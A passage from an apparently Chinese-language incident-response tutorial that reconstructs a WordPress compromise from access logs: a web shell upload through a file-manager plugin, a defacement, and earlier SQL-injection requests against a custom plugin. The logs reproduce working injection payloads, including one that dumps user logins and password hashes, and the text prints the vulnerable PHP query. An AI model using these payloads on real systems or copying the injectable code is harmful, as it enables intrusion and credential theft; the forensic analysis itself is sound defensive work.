攻击者使用file-manager插件上传了r57.php,这很可能是一个PHP Web Shell脚本 。
84.55.41.57 - GET /wordpress/wp-admin/admin-ajax.php?action=connector& cmd= upload&target=l1_d3AtY29udGVudA&name %5B %5D=r57.php&FILES=&_=1460873968131 200
日志表明,攻击者访问了r57.php,查询字符串?1和?28表明攻击者通过脚本代码进行操作,但并未发现任何有趣的东西 。
84.55.41.57- GET/wordpress/wp-content/r57.php 200
84.55.41.57- POST /wordpress/wp-content/r57.php? 1200
84.55.41.57- GET/wordpress/wp-content/r57.php? 28200
攻击者的最后一个动作是通过file-manager插件编辑主题的索引文件,并将其内容替换为HACKED! 。
84.55. 41.57- POST /wordpress/wp-admin/admin-ajax.php 200- http:/ /www.example.com/wordpress/wp-admin/admin.php?page=file-manager_settings
根据上述信息,我们可以看到攻击者的行为时间表,但是,目前还有一个问题没有弄清楚,攻击者是如何获得登录凭据的?
假设管理员密码没有泄漏也没有被暴力破解,让我们回头看看我们是不是忽略了什么信息 。
在当前的access.log中并未发现任何有关管理员密码泄露的线索,但我们可以查看所有存档的access.log文件,来拼凑出攻击者的行为轨迹 。
首先,我们可以过滤日志出包含IP地址:84.55.41.57的日志记录 。我们发现,其中有一条日志疑似SQL注入攻击的记录:
84.55.41.57- - [14/Apr/2019:08:22:13 0100] "GET /wordpress/wp-content/plugins/custom_plugin/check_user.php?userid=1 AND ( SELECT6810FROM( SELECTCOUNT(*), CONCAT( 0x7171787671,( SELECT( ELT( 6810= 6810, 1))), 0x71707a7871, FLOOR( RAND( 0)* 2))x FROMINFORMATION_SCHEMA.CHARACTER_SETS GROUPBYx)a) HTTP/ 1.1" 200 166 "- " "Mozilla/ 5.0(Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)"
84.55.41.57- - [14/Apr/2019:08:22:13 0100] "GET /wordpress/wp-content/plugins/custom_plugin/check_user.php?userid=( SELECT7505FROM( SELECTCOUNT(*), CONCAT( 0x7171787671,( SELECT( ELT( 7505= 7505, 1))), 0x71707a7871, FLOOR( RAND( 0)* 2))x FROMINFORMATION_SCHEMA.CHARACTER_SETS GROUPBYx)a) HTTP/ 1.1" 200 166 "- " "Mozilla/ 5.0(Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)"
84.55.41.57- - [14/Apr/2019:08:22:13 0100] "GET /wordpress/wp-content/plugins/custom_plugin/check_user.php?userid=( SELECTCONCAT( 0x7171787671,( SELECT( ELT( 1399= 1399, 1))), 0x71707a7871)) HTTP/ 1.1" 200 166 "- " "Mozilla/ 5.0(Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)"
84.55.41.57- - [14/Apr/2019:08:22:27 0100] "GET /wordpress/wp-content/plugins/custom_plugin/check_user.php?userid=1 UNION ALL SELECTCONCAT( 0x7171787671, 0x537653544175467a724f, 0x71707a7871), NULL, NULL-- HTTP/1.1" 200 182 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)要
假设这个插件是系统管理员从网上直接下载并拷贝到网站之中的,脚本安装路径:
/wordpress/wp-content/plugins/custom_plugin/check_user.php
通过分析check_user.php文件,发现存在SQL语句拼接,导致网站存在SQL注入漏洞 。
<?php
//Include the WordPress header
include( '/wordpress/wp-header.php');
global$wpdb;
// Use the GET parameter ‘userid’ as user input
$id=$_GET[ 'userid'];
// Make a query to the database with the value the user supplied in the SQL statement
$users = $wpdb->get_results( "SELECT * FROM users WHERE user_id=$id");
?>
access.log记录表明,攻击者使用了SQL注入自动化工具来查找数据库名称,表名称和列,日志中的记录将类似于以下内容:
/wordpress/wp-content/plugins/my_custom_plugin/check_user.php?userid=-6859 UNION ALL SELECT( SELECTCONCAT( 0x7171787671, IFNULL( CAST( IDASCHAR), 0x20), 0x616474686c76, IFNULL( CAST(display_name ASCHAR), 0x20), 0x616474686c76, IFNULL( CAST(user_activation_key ASCHAR), 0x20), 0x616474686c76, IFNULL( CAST(user_email ASCHAR), 0x20), 0x616474686c76, IFNULL( CAST(user_login ASCHAR), 0x20), 0x616474686c76, IFNULL( CAST(user_nicename ASCHAR), 0x20), 0x616474686c76, IFNULL( CAST(user_pass ASCHAR), 0x20), 0x616474686c76, IFNULL( CAST(user_registered ASCHAR), 0x20), 0x616474686c76, IFNULL( CAST(user_status ASCHAR), 0x20), 0x616474686c76, IFNULL( CAST(user_url ASCHAR), 0x20), 0x71707a7871) FROMwp.wp_users LIMIT0, 1), NULL, NULL--
推荐阅读
- 珍稀干货!阿里 Web 音视频开发趟坑指南
- 电磁炉用什么锅 电磁炉使用注意事项
- 电磁炉有辐射吗 电磁炉使用注意事项
- 早孕试纸假阳性原因
- 测排卵试纸测早孕怎样使用
- HTTP是如何使用TCP连接
- Github入门使用指南
- 为什么每个人都在谈论 WebAssembly
- Nginx vs Apache两大web server比较
- Nginx 热部署和日志切割,你学会了吗?